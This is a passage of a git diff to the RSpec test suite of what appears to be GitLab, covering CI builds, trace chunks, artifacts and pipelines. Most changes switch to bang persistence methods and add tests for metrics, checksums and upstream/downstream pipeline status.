{ key: 'CI_COMMIT_REF_PROTECTED', value: (!!pipeline.protected_ref?).to_s, public: true, masked: false },
+ { key: 'CI_COMMIT_TIMESTAMP', value: pipeline.git_commit_timestamp, public: true, masked: false },
{ key: 'CI_BUILD_REF', value: build.sha, public: true, masked: false },
{ key: 'CI_BUILD_BEFORE_SHA', value: build.before_sha, public: true, masked: false },
{ key: 'CI_BUILD_REF_NAME', value: build.ref, public: true, masked: false },
@@ -2526,7 +2603,7 @@ RSpec.describe Ci::Build do
end
before do
- build.update(user: user)
+ build.update!(user: user)
end
it { user_variables.each { |v| is_expected.to include(v) } }
@@ -2562,7 +2639,7 @@ RSpec.describe Ci::Build do
end
before do
- build.update(environment: 'production')
+ build.update!(environment: 'production')
end
shared_examples 'containing environment variables' do
@@ -2589,7 +2666,7 @@ RSpec.describe Ci::Build do
context 'when the URL was set from the job' do
before do
- build.update(options: { environment: { url: url } })
+ build.update!(options: { environment: { url: url } })
end
it_behaves_like 'containing environment variables'
@@ -2607,7 +2684,7 @@ RSpec.describe Ci::Build do
context 'when the URL was not set from the job, but environment' do
before do
- environment.update(external_url: url)
+ environment.update!(external_url: url)
end
it_behaves_like 'containing environment variables'
@@ -2643,7 +2720,7 @@ RSpec.describe Ci::Build do
context 'when build started manually' do
before do
- build.update(when: :manual)
+ build.update!(when: :manual)
end
let(:manual_variable) do
@@ -2669,8 +2746,8 @@ RSpec.describe Ci::Build do
end
before do
- build.update(tag: false)
- pipeline.update(tag: false)
+ build.update!(tag: false)
+ pipeline.update!(tag: false)
end
it { is_expected.to include(branch_variable) }
@@ -2682,8 +2759,8 @@ RSpec.describe Ci::Build do
end
before do
- build.update(tag: true)
- pipeline.update(tag: true)
+ build.update!(tag: true)
+ pipeline.update!(tag: true)
end
it { is_expected.to include(tag_variable) }
@@ -2860,7 +2937,7 @@ RSpec.describe Ci::Build do
context 'and is disabled for project' do
before do
- project.update(container_registry_enabled: false)
+ project.update!(container_registry_enabled: false)
end
it { is_expected.to include(ci_registry) }
@@ -2869,7 +2946,7 @@ RSpec.describe Ci::Build do
context 'and is enabled for project' do
before do
- project.update(container_registry_enabled: true)
+ project.update!(container_registry_enabled: true)
end
it { is_expected.to include(ci_registry) }
@@ -2881,7 +2958,7 @@ RSpec.describe Ci::Build do
let(:runner) { create(:ci_runner, description: 'description', tag_list: %w(docker linux)) }
before do
- build.update(runner: runner)
+ build.update!(runner: runner)
end
it { is_expected.to include({ key: 'CI_RUNNER_ID', value: runner.id.to_s, public: true, masked: false }) }
@@ -3685,7 +3762,7 @@ RSpec.describe Ci::Build do
subject { described_class.where(id: build).matches_tag_ids(tag_ids) }
before do
- build.update(tag_list: build_tag_list)
+ build.update!(tag_list: build_tag_list)
end
context 'when have different tags' do
@@ -3731,7 +3808,7 @@ RSpec.describe Ci::Build do
subject { described_class.where(id: build).with_any_tags }
before do
- build.update(tag_list: tag_list)
+ build.update!(tag_list: tag_list)
end
context 'when does have tags' do
@@ -4087,7 +4164,7 @@ RSpec.describe Ci::Build do
let(:path) { 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif' }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/models/ci/build_trace_chunk_spec.rb b/spec/models/ci/build_trace_chunk_spec.rb
index a6362d46449..fefe5e3bfca 100644
--- a/spec/models/ci/build_trace_chunk_spec.rb
+++ b/spec/models/ci/build_trace_chunk_spec.rb
@@ -21,6 +21,25 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
stub_artifacts_object_storage
end
+ describe 'chunk creation' do
+ let(:metrics) { spy('metrics') }
+
+ before do
+ allow(::Gitlab::Ci::Trace::Metrics)
+ .to receive(:new)
+ .and_return(metrics)
+ end
+
+ it 'increments trace operation chunked metric' do
+ build_trace_chunk.save!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :chunked)
+ .once
+ end
+ end
+
context 'FastDestroyAll' do
let(:parent) { create(:project) }
let(:pipeline) { create(:ci_pipeline, project: parent) }
@@ -32,7 +51,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(external_data_counter).to be > 0
expect(subjects.count).to be > 0
- expect { subjects.first.destroy }.to raise_error('`destroy` and `destroy_all` are forbidden. Please use `fast_destroy_all`')
+ expect { subjects.first.destroy! }.to raise_error('`destroy` and `destroy_all` are forbidden. Please use `fast_destroy_all`')
expect { subjects.destroy_all }.to raise_error('`destroy` and `destroy_all` are forbidden. Please use `fast_destroy_all`') # rubocop: disable Cop/DestroyAll
expect(subjects.count).to be > 0
@@ -57,7 +76,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(external_data_counter).to be > 0
expect(subjects.count).to be > 0
- expect { parent.destroy }.not_to raise_error
+ expect { parent.destroy! }.not_to raise_error
expect(subjects.count).to eq(0)
expect(external_data_counter).to eq(0)
@@ -222,6 +241,8 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
subject
build_trace_chunk.reload
+
+ expect(build_trace_chunk.checksum).to be_present
expect(build_trace_chunk.fog?).to be_truthy
expect(build_trace_chunk.data).to eq(new_data)
end
@@ -344,6 +365,24 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
it_behaves_like 'Scheduling no sidekiq worker'
end
end
+
+ describe 'append metrics' do
+ let(:metrics) { spy('metrics') }
+
+ before do
+ allow(::Gitlab::Ci::Trace::Metrics)
+ .to receive(:new)
+ .and_return(metrics)
+ end
+
+ it 'increments trace operation appended metric' do
+ build_trace_chunk.append('123456', 0)
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :appended)
+ end
+ end
end
describe '#truncate' do
@@ -461,6 +500,8 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
describe '#persist_data!' do
+ let(:build) { create(:ci_build, :running) }
+
subject { build_trace_chunk.persist_data! }
shared_examples_for 'Atomic operation' do
@@ -502,6 +543,12 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to eq(data)
end
+ it 'calculates CRC32 checksum' do
+ subject
+
+ expect(build_trace_chunk.reload.checksum).to eq '3398914352'
+ end
+
it_behaves_like 'Atomic operation'
end
@@ -516,6 +563,18 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(Ci::BuildTraceChunks::Database.new.data(build_trace_chunk)).to be_nil
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to be_nil
end
+
+ context 'when chunk is a final one' do
+ before do
+ create(:ci_build_pending_state, build: build)
+ end
+
+ it 'persists the data' do
+ subject
+
+ expect(build_trace_chunk.fog?).to be_truthy
+ end
+ end
end
end
@@ -565,6 +624,18 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
expect(Ci::BuildTraceChunks::Database.new.data(build_trace_chunk)).to eq(data)
expect(Ci::BuildTraceChunks::Fog.new.data(build_trace_chunk)).to be_nil
end
+
+ context 'when chunk is a final one' do
+ before do
+ create(:ci_build_pending_state, build: build)
+ end
+
+ it 'persists the data' do
+ subject
+
+ expect(build_trace_chunk.fog?).to be_truthy
+ end
+ end
end
end
@@ -614,6 +685,54 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
end
+ describe 'final?' do
+ let(:build) { create(:ci_build, :running) }
+
+ context 'when build pending state exists' do
+ before do
+ create(:ci_build_pending_state, build: build)
+ end
+
+ context 'when chunks is not the last one' do
+ before do
+ create(:ci_build_trace_chunk, chunk_index: 1, build: build)
+ end
+
+ it 'is not a final chunk' do
+ expect(build.reload.pending_state).to be_present
+ expect(build_trace_chunk).not_to be_final
+ end
+ end
+
+ context 'when chunks is the last one' do
+ it 'is a final chunk' do
+ expect(build.reload.pending_state).to be_present
+ expect(build_trace_chunk).to be_final
+ end
+ end
+ end
+
+ context 'when build pending state does not exist' do
+ context 'when chunks is not the last one' do
+ before do
+ create(:ci_build_trace_chunk, chunk_index: 1, build: build)
+ end
+
+ it 'is not a final chunk' do
+ expect(build.reload.pending_state).not_to be_present
+ expect(build_trace_chunk).not_to be_final
+ end
+ end
+
+ context 'when chunks is the last one' do
+ it 'is not a final chunk' do
+ expect(build.reload.pending_state).not_to be_present
+ expect(build_trace_chunk).not_to be_final
+ end
+ end
+ end
+ end
+
describe 'deletes data in redis after a parent record destroyed' do
let(:project) { create(:project) }
diff --git a/spec/models/ci/build_trace_chunks/fog_spec.rb b/spec/models/ci/build_trace_chunks/fog_spec.rb
index a44ae58dfd2..b7e9adab04a 100644
--- a/spec/models/ci/build_trace_chunks/fog_spec.rb
+++ b/spec/models/ci/build_trace_chunks/fog_spec.rb
@@ -46,9 +46,7 @@ RSpec.describe Ci::BuildTraceChunks::Fog do
end
describe '#set_data' do
- subject { data_store.set_data(model, data) }
-
- let(:data) { 'abc123' }
+ let(:new_data) { 'abc123' }
context 'when data exists' do
let(:model) { create(:ci_build_trace_chunk, :fog_with_data, initial_data: 'sample data in fog') }
@@ -56,9 +54,9 @@ RSpec.describe Ci::BuildTraceChunks::Fog do
it 'overwrites data' do
expect(data_store.data(model)).to eq('sample data in fog')
- subject
+ data_store.set_data(model, new_data)
- expect(data_store.data(model)).to eq('abc123')
+ expect(data_store.data(model)).to eq new_data
end
end
@@ -68,9 +66,9 @@ RSpec.describe Ci::BuildTraceChunks::Fog do
it 'sets new data' do
expect(data_store.data(model)).to be_nil
- subject
+ data_store.set_data(model, new_data)
- expect(data_store.data(model)).to eq('abc123')
+ expect(data_store.data(model)).to eq new_data
end
end
end
diff --git a/spec/models/ci/instance_variable_spec.rb b/spec/models/ci/instance_variable_spec.rb
index 15d0c911bc4..0ef1dfbd55c 100644
--- a/spec/models/ci/instance_variable_spec.rb
+++ b/spec/models/ci/instance_variable_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Ci::InstanceVariable do
let(:value) { SecureRandom.alphanumeric(10_002) }
it 'raises a database level error' do
- expect { variable.save }.to raise_error(ActiveRecord::StatementInvalid)
+ expect { variable.save! }.to raise_error(ActiveRecord::StatementInvalid)
end
end
@@ -36,7 +36,7 @@ RSpec.describe Ci::InstanceVariable do
let(:value) { SecureRandom.alphanumeric(10_000) }
it 'does not raise database level error' do
- expect { variable.save }.not_to raise_error
+ expect { variable.save! }.not_to raise_error
end
end
end
@@ -85,7 +85,7 @@ RSpec.describe Ci::InstanceVariable do
it 'resets the cache when records are deleted' do
expect(described_class.all_cached).to contain_exactly(protected_variable, unprotected_variable)
- protected_variable.destroy
+ protected_variable.destroy!
expect(described_class.all_cached).to contain_exactly(unprotected_variable)
end
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 91a669aa3f4..779839df670 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -20,7 +20,9 @@ RSpec.describe Ci::JobArtifact do
it_behaves_like 'having unique enum values'
it_behaves_like 'UpdateProjectStatistics' do
- subject { build(:ci_job_artifact, :archive, size: 107464) }
+ let_it_be(:job, reload: true) { create(:ci_build) }
+
+ subject { build(:ci_job_artifact, :archive, job: job, size: 107464) }
end
describe '.not_expired' do
@@ -343,42 +345,6 @@ RSpec.describe Ci::JobArtifact do
end
end
- describe '#each_blob' do
- context 'when file format is gzip' do
- context 'when gzip file contains one file' do
- let(:artifact) { build(:ci_job_artifact, :junit) }
-
- it 'iterates blob once' do
- expect { |b| artifact.each_blob(&b) }.to yield_control.once
- end
- end
-
- context 'when gzip file contains three files' do
- let(:artifact) { build(:ci_job_artifact, :junit_with_three_testsuites) }
-
- it 'iterates blob three times' do
- expect { |b| artifact.each_blob(&b) }.to yield_control.exactly(3).times
- end
- end
- end
-
- context 'when file format is raw' do
- let(:artifact) { build(:ci_job_artifact, :codequality, file_format: :raw) }
-
- it 'iterates blob once' do
- expect { |b| artifact.each_blob(&b) }.to yield_control.once
- end
- end
-
- context 'when there are no adapters for the file format' do
- let(:artifact) { build(:ci_job_artifact, :junit, file_format: :zip) }
-
- it 'raises an error' do
- expect { |b| artifact.each_blob(&b) }.to raise_error(described_class::NotSupportedAdapterError)
- end
- end
- end
-
describe 'expired?' do
subject { artifact.expired? }
diff --git a/spec/models/ci/legacy_stage_spec.rb b/spec/models/ci/legacy_stage_spec.rb
index c53f6abb037..2487ad85889 100644
--- a/spec/models/ci/legacy_stage_spec.rb
+++ b/spec/models/ci/legacy_stage_spec.rb
@@ -116,7 +116,7 @@ RSpec.describe Ci::LegacyStage do
let!(:new_build) { create_job(:ci_build, status: :success) }
before do
- stage_build.update(retried: true)
+ stage_build.update!(retried: true)
end
it "returns status of latest build" do
diff --git a/spec/models/ci/persistent_ref_spec.rb b/spec/models/ci/persistent_ref_spec.rb
index 18552317025..e488580ae7b 100644
--- a/spec/models/ci/persistent_ref_spec.rb
+++ b/spec/models/ci/persistent_ref_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Ci::PersistentRef do
context 'when a persistent ref exists' do
before do
- pipeline.persistent_ref.create
+ pipeline.persistent_ref.create # rubocop: disable Rails/SaveBang
end
it { is_expected.to eq(true) }
@@ -32,7 +32,7 @@ RSpec.describe Ci::PersistentRef do
end
describe '#create' do
- subject { pipeline.persistent_ref.create }
+ subject { pipeline.persistent_ref.create } # rubocop: disable Rails/SaveBang
let(:pipeline) { create(:ci_pipeline, sha: sha, project: project) }
let(:project) { create(:project, :repository) }
@@ -58,7 +58,7 @@ RSpec.describe Ci::PersistentRef do
context 'when a persistent ref already exists' do
before do
- pipeline.persistent_ref.create
+ pipeline.persistent_ref.create # rubocop: disable Rails/SaveBang
end
it 'overwrites a persistent ref' do
@@ -78,7 +78,7 @@ RSpec.describe Ci::PersistentRef do
context 'when a persistent ref exists' do
before do
- pipeline.persistent_ref.create
+ pipeline.persistent_ref.create # rubocop: disable Rails/SaveBang
end
it 'deletes the ref' do
diff --git a/spec/models/ci/pipeline_artifact_spec.rb b/spec/models/ci/pipeline_artifact_spec.rb
index 9d63d74a6cc..8cbace845a9 100644
--- a/spec/models/ci/pipeline_artifact_spec.rb
+++ b/spec/models/ci/pipeline_artifact_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Ci::PipelineArtifact, type: :model do
- let_it_be(:coverage_report) { create(:ci_pipeline_artifact) }
+ let(:coverage_report) { create(:ci_pipeline_artifact) }
describe 'associations' do
it { is_expected.to belong_to(:pipeline) }
@@ -12,6 +12,12 @@ RSpec.describe Ci::PipelineArtifact, type: :model do
it_behaves_like 'having unique enum values'
+ it_behaves_like 'UpdateProjectStatistics' do
+ let_it_be(:pipeline, reload: true) { create(:ci_pipeline) }
+
+ subject { build(:ci_pipeline_artifact, pipeline: pipeline) }
+ end
+
describe 'validations' do
it { is_expected.to validate_presence_of(:pipeline) }
it { is_expected.to validate_presence_of(:project) }
@@ -44,38 +50,74 @@ RSpec.describe Ci::PipelineArtifact, type: :model do
end
end
- describe '#set_size' do
+ describe 'file is being stored' do
subject { create(:ci_pipeline_artifact) }
- context 'when file is being created' do
- it 'sets the size' do
- expect(subject.size).to eq(85)
+ context 'when existing object has local store' do
+ it_behaves_like 'mounted file in local store'
+ end
+
+ context 'when direct upload is enabled' do
+ before do
+ stub_artifacts_object_storage(Ci::PipelineArtifactUploader, direct_upload: true)
+ end
+
+ context 'when file is stored' do
+ it_behaves_like 'mounted file in object store'
end
end
- context 'when file is being updated' do
- it 'updates the size' do
- subject.update!(file: fixture_file_upload('spec/fixtures/dk.png'))
+ context 'when file contains multi-byte characters' do
+ let(:coverage_report_multibyte) { create(:ci_pipeline_artifact, :with_multibyte_characters) }
- expect(subject.size).to eq(1062)
+ it 'sets the size in bytesize' do
+ expect(coverage_report_multibyte.size).to eq(14)
end
end
end
- describe 'file is being stored' do
- subject { create(:ci_pipeline_artifact) }
+ describe '.has_code_coverage?' do
+ subject { Ci::PipelineArtifact.has_code_coverage? }
- context 'when existing object has local store' do
- it_behaves_like 'mounted file in local store'
+ context 'when pipeline artifact has a code coverage' do
+ let!(:pipeline_artifact) { create(:ci_pipeline_artifact) }
+
+ it 'returns true' do
+ expect(subject).to be_truthy
+ end
end
- context 'when direct upload is enabled' do
- before do
- stub_artifacts_object_storage(Ci::PipelineArtifactUploader, direct_upload: true)
+ context 'when pipeline artifact does not have a code coverage' do
+ it 'returns false' do
+ expect(subject).to be_falsey
end
+ end
+ end
- context 'when file is stored' do
- it_behaves_like 'mounted file in object store'
+ describe '.find_with_code_coverage' do
+ subject { Ci::PipelineArtifact.find_with_code_coverage }
+
+ context 'when pipeline artifact has a coverage report' do
+ let!(:coverage_report) { create(:ci_pipeline_artifact) }
+
+ it 'returns a pipeline artifact with a code coverage' do
+ expect(subject.file_type).to eq('code_coverage')
+ end
+ end
+
+ context 'when pipeline artifact does not have a coverage report' do
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+ end
+
+ describe '#present' do
+ subject { coverage_report.present }
+
+ context 'when file_type is code_coverage' do
+ it 'uses code coverage presenter' do
+ expect(subject.present).to be_kind_of(Ci::PipelineArtifacts::CodeCoveragePresenter)
end
end
end
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index b4e80fa7588..228a1e8f7a2 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -2,12 +2,14 @@
require 'spec_helper'
-RSpec.describe Ci::Pipeline, :mailer do
+RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
include ProjectForksHelper
include StubRequests
+ include Ci::SourcePipelineHelpers
- let(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:namespace) { create_default(:namespace) }
+ let_it_be(:project) { create_default(:project, :repository) }
let(:pipeline) do
create(:ci_empty_pipeline, status: :created, project: project)
@@ -220,6 +222,26 @@ RSpec.describe Ci::Pipeline, :mailer do
end
end
+ describe '.ci_sources' do
+ subject { described_class.ci_sources }
+
+ let!(:push_pipeline) { create(:ci_pipeline, source: :push) }
+ let!(:web_pipeline) { create(:ci_pipeline, source: :web) }
+ let!(:api_pipeline) { create(:ci_pipeline, source: :api) }
+ let!(:webide_pipeline) { create(:ci_pipeline, source: :webide) }
+ let!(:child_pipeline) { create(:ci_pipeline, source: :parent_pipeline) }
+
+ it 'contains pipelines having CI only sources' do
+ expect(subject).to contain_exactly(push_pipeline, web_pipeline, api_pipeline)
+ end
+
+ it 'filters on expected sources' do
+ expect(::Enums::Ci::Pipeline.ci_sources.keys).to contain_exactly(
+ *%i[unknown push web trigger schedule api external pipeline chat
+ merge_request_event external_pull_request_event])
+ end
+ end
+
describe '.outside_pipeline_family' do
subject(:outside_pipeline_family) { described_class.outside_pipeline_family(upstream_pipeline) }
@@ -714,6 +736,7 @@ RSpec.describe Ci::Pipeline, :mailer do
CI_COMMIT_TITLE
CI_COMMIT_DESCRIPTION
CI_COMMIT_REF_PROTECTED
+ CI_COMMIT_TIMESTAMP
CI_BUILD_REF
CI_BUILD_BEFORE_SHA
CI_BUILD_REF_NAME
@@ -879,7 +902,7 @@ RSpec.describe Ci::Pipeline, :mailer do
context 'when there is auto_canceled_by' do
before do
- pipeline.update(auto_canceled_by: create(:ci_empty_pipeline))
+ pipeline.update!(auto_canceled_by: create(:ci_empty_pipeline))
end
it 'is auto canceled' do
@@ -1237,14 +1260,42 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe 'pipeline caching' do
- before do
- pipeline.config_source = 'repository_source'
+ context 'if pipeline is cacheable' do
+ before do
+ pipeline.source = 'push'
+ end
+
+ it 'performs ExpirePipelinesCacheWorker' do
+ expect(ExpirePipelineCacheWorker).to receive(:perform_async).with(pipeline.id)
+
+ pipeline.cancel
+ end
end
- it 'performs ExpirePipelinesCacheWorker' do
- expect(ExpirePipelineCacheWorker).to receive(:perform_async).with(pipeline.id)
+ context 'if pipeline is not cacheable' do
+ before do
+ pipeline.source = 'webide'
+ end
- pipeline.cancel
+ it 'deos not perform ExpirePipelinesCacheWorker' do
+ expect(ExpirePipelineCacheWorker).not_to receive(:perform_async)
+
+ pipeline.cancel
+ end
+ end
+ end
+
+ describe '#dangling?' do
+ it 'returns true if pipeline comes from any dangling sources' do
+ pipeline.source = Enums::Ci::Pipeline.dangling_sources.each_key.first
+
+ expect(pipeline).to be_dangling
+ end
+
+ it 'returns true if pipeline comes from any CI sources' do
+ pipeline.source = Enums::Ci::Pipeline.ci_sources.each_key.first
+
+ expect(pipeline).not_to be_dangling
end
end
@@ -1309,34 +1360,126 @@ RSpec.describe Ci::Pipeline, :mailer do
end
end
- context 'when pipeline is bridge triggered' do
- before do
- pipeline.source_bridge = create(:ci_bridge)
- end
+ def auto_devops_pipelines_completed_total(status)
+ Gitlab::Metrics.counter(:auto_devops_pipelines_completed_total, 'Number of completed auto devops pipelines').get(status: status)
+ end
+ end
+
+ describe 'bridge triggered pipeline' do
+ shared_examples 'upstream downstream pipeline' do
+ let!(:source_pipeline) { create(:ci_sources_pipeline, pipeline: downstream_pipeline, source_job: bridge) }
+ let!(:job) { downstream_pipeline.builds.first }
context 'when source bridge is dependent on pipeline status' do
- before do
- allow(pipeline.source_bridge).to receive(:dependent?).and_return(true)
- end
+ let!(:bridge) { create(:ci_bridge, :strategy_depend, pipeline: upstream_pipeline) }
it 'schedules the pipeline bridge worker' do
- expect(::Ci::PipelineBridgeStatusWorker).to receive(:perform_async)
+ expect(::Ci::PipelineBridgeStatusWorker).to receive(:perform_async).with(downstream_pipeline.id)
+
+ downstream_pipeline.succeed!
+ end
+
+ context 'when the downstream pipeline first fails then retries and succeeds' do
+ it 'makes the upstream pipeline successful' do
+ Sidekiq::Testing.inline! { job.drop! }
+
+ expect(downstream_pipeline.reload).to be_failed
+ expect(upstream_pipeline.reload).to be_failed
+
+ Sidekiq::Testing.inline! do
+ new_job = Ci::Build.retry(job, project.users.first)
+
+ expect(downstream_pipeline.reload).to be_running
+ expect(upstream_pipeline.reload).to be_running
+
+ new_job.success!
+ end
+
+ expect(downstream_pipeline.reload).to be_success
+ expect(upstream_pipeline.reload).to be_success
+ end
+ end
+
+ context 'when the downstream pipeline first succeeds then retries and fails' do
+ it 'makes the upstream pipeline failed' do
+ Sidekiq::Testing.inline! { job.success! }
+
+ expect(downstream_pipeline.reload).to be_success
+ expect(upstream_pipeline.reload).to be_success
+
+ Sidekiq::Testing.inline! do
+ new_job = Ci::Build.retry(job, project.users.first)
+
+ expect(downstream_pipeline.reload).to be_running
+ expect(upstream_pipeline.reload).to be_running
+
+ new_job.drop!
+ end
+
+ expect(downstream_pipeline.reload).to be_failed
+ expect(upstream_pipeline.reload).to be_failed
+ end
+ end
+
+ context 'when the upstream pipeline has another dependent upstream pipeline' do
+ let!(:upstream_of_upstream_pipeline) { create(:ci_pipeline) }
+
+ before do
+ upstream_bridge = create(:ci_bridge, :strategy_depend, pipeline: upstream_of_upstream_pipeline)
+ create(:ci_sources_pipeline, pipeline: upstream_pipeline,
+ source_job: upstream_bridge)
+ end
+
+ context 'when the downstream pipeline first fails then retries and succeeds' do
+ it 'makes upstream pipelines successful' do
+ Sidekiq::Testing.inline! { job.drop! }
+
+ expect(downstream_pipeline.reload).to be_failed
+ expect(upstream_pipeline.reload).to be_failed
+ expect(upstream_of_upstream_pipeline.reload).to be_failed
- pipeline.succeed!
+ Sidekiq::Testing.inline! do
+ new_job = Ci::Build.retry(job, project.users.first)
+
+ expect(downstream_pipeline.reload).to be_running
+ expect(upstream_pipeline.reload).to be_running
+ expect(upstream_of_upstream_pipeline.reload).to be_running
+
+ new_job.success!
+ end
+
+ expect(downstream_pipeline.reload).to be_success
+ expect(upstream_pipeline.reload).to be_success
+ expect(upstream_of_upstream_pipeline.reload).to be_success
+ end
+ end
end
end
context 'when source bridge is not dependent on pipeline status' do
+ let!(:bridge) { create(:ci_bridge, pipeline: upstream_pipeline) }
+
it 'does not schedule the pipeline bridge worker' do
expect(::Ci::PipelineBridgeStatusWorker).not_to receive(:perform_async)
- pipeline.succeed!
+ downstream_pipeline.succeed!
end
end
end
- def auto_devops_pipelines_completed_total(status)
- Gitlab::Metrics.counter(:auto_devops_pipelines_completed_total, 'Number of completed auto devops pipelines').get(status: status)
+ context 'multi-project pipelines' do
+ let!(:downstream_project) { create(:project, :repository) }
+ let!(:upstream_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:downstream_pipeline) { create(:ci_pipeline, :with_job, project: downstream_project) }
+
+ it_behaves_like 'upstream downstream pipeline'
+ end
+
+ context 'parent-child pipelines' do
+ let!(:upstream_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:downstream_pipeline) { create(:ci_pipeline, :with_job, project: project) }
+
+ it_behaves_like 'upstream downstream pipeline'
end
end
@@ -1436,8 +1579,6 @@ RSpec.describe Ci::Pipeline, :mailer do
context 'when repository exists' do
using RSpec::Parameterized::TableSyntax
- let(:project) { create(:project, :repository) }
-
where(:tag, :ref, :result) do
false | 'master' | true
false | 'non-existent-branch' | false
@@ -1457,6 +1598,7 @@ RSpec.describe Ci::Pipeline, :mailer do
end
context 'when repository does not exist' do
+ let(:project) { create(:project) }
let(:pipeline) do
create(:ci_empty_pipeline, project: project, ref: 'master')
end
@@ -1468,8 +1610,6 @@ RSpec.describe Ci::Pipeline, :mailer do
end
context 'with non-empty project' do
- let(:project) { create(:project, :repository) }
-
let(:pipeline) do
create(:ci_pipeline,
project: project,
@@ -1524,7 +1664,7 @@ RSpec.describe Ci::Pipeline, :mailer do
it 'looks up a commit for a tag' do
expect(project.repository.branch_names).not_to include 'v1.0.0'
- pipeline.update(sha: project.commit('v1.0.0').sha, ref: 'v1.0.0', tag: true)
+ pipeline.update!(sha: project.commit('v1.0.0').sha, ref: 'v1.0.0', tag: true)
expect(pipeline).to be_tag
expect(pipeline).to be_latest
@@ -1533,7 +1673,7 @@ RSpec.describe Ci::Pipeline, :mailer do
context 'with not latest sha' do
before do
- pipeline.update(sha: project.commit("#{project.default_branch}~1").sha)
+ pipeline.update!(sha: project.commit("#{project.default_branch}~1").sha)
end
it 'returns false' do
@@ -1561,7 +1701,7 @@ RSpec.describe Ci::Pipeline, :mailer do
let!(:manual2) { create(:ci_build, :manual, pipeline: pipeline, name: 'deploy') }
before do
- manual.update(retried: true)
+ manual.update!(retried: true)
end
it 'returns latest one' do
@@ -1596,10 +1736,8 @@ RSpec.describe Ci::Pipeline, :mailer do
describe '#modified_paths' do
context 'when old and new revisions are set' do
- let(:project) { create(:project, :repository) }
-
before do
- pipeline.update(before_sha: '1234abcd', sha: '2345bcde')
+ pipeline.update!(before_sha: '1234abcd', sha: '2345bcde')
end
it 'fetches stats for changes between commits' do
@@ -1866,8 +2004,6 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe '.latest_pipeline_per_commit' do
- let(:project) { create(:project) }
-
let!(:commit_123_ref_master) do
create(
:ci_empty_pipeline,
@@ -1962,15 +2098,14 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe '.last_finished_for_ref_id' do
- let(:project) { create(:project, :repository) }
let(:branch) { project.default_branch }
let(:ref) { project.ci_refs.take }
- let(:config_source) { Ci::PipelineEnums.config_sources[:parameter_source] }
+ let(:dangling_source) { Enums::Ci::Pipeline.sources[:ondemand_dast_scan] }
let!(:pipeline1) { create(:ci_pipeline, :success, project: project, ref: branch) }
let!(:pipeline2) { create(:ci_pipeline, :success, project: project, ref: branch) }
let!(:pipeline3) { create(:ci_pipeline, :failed, project: project, ref: branch) }
let!(:pipeline4) { create(:ci_pipeline, :success, project: project, ref: branch) }
- let!(:pipeline5) { create(:ci_pipeline, :success, project: project, ref: branch, config_source: config_source) }
+ let!(:pipeline5) { create(:ci_pipeline, :success, project: project, ref: branch, source: dangling_source) }
it 'returns the expected pipeline' do
result = described_class.last_finished_for_ref_id(ref.id)
@@ -2452,7 +2587,6 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe "#merge_requests_as_head_pipeline" do
- let(:project) { create(:project) }
let(:pipeline) { create(:ci_empty_pipeline, status: 'created', project: project, ref: 'master', sha: 'a288a022a53a5a944fae87bcec6efc87b7061808') }
it "returns merge requests whose `diff_head_sha` matches the pipeline's SHA" do
@@ -2575,11 +2709,11 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe '#same_family_pipeline_ids' do
- subject(:same_family_pipeline_ids) { pipeline.same_family_pipeline_ids }
+ subject { pipeline.same_family_pipeline_ids.map(&:id) }
context 'when pipeline is not child nor parent' do
it 'returns just the pipeline id' do
- expect(same_family_pipeline_ids).to contain_exactly(pipeline.id)
+ expect(subject).to contain_exactly(pipeline.id)
end
end
@@ -2588,21 +2722,12 @@ RSpec.describe Ci::Pipeline, :mailer do
let(:sibling) { create(:ci_pipeline, project: pipeline.project) }
before do
- create(:ci_sources_pipeline,
- source_job: create(:ci_build, pipeline: parent),
- source_project: parent.project,
- pipeline: pipeline,
- project: pipeline.project)
-
- create(:ci_sources_pipeline,
- source_job: create(:ci_build, pipeline: parent),
- source_project: parent.project,
- pipeline: sibling,
- project: sibling.project)
+ create_source_pipeline(parent, pipeline)
+ create_source_pipeline(parent, sibling)
end
it 'returns parent sibling and self ids' do
- expect(same_family_pipeline_ids).to contain_exactly(parent.id, pipeline.id, sibling.id)
+ expect(subject).to contain_exactly(parent.id, pipeline.id, sibling.id)
end
end
@@ -2610,15 +2735,43 @@ RSpec.describe Ci::Pipeline, :mailer do
let(:child) { create(:ci_pipeline, project: pipeline.project) }
before do
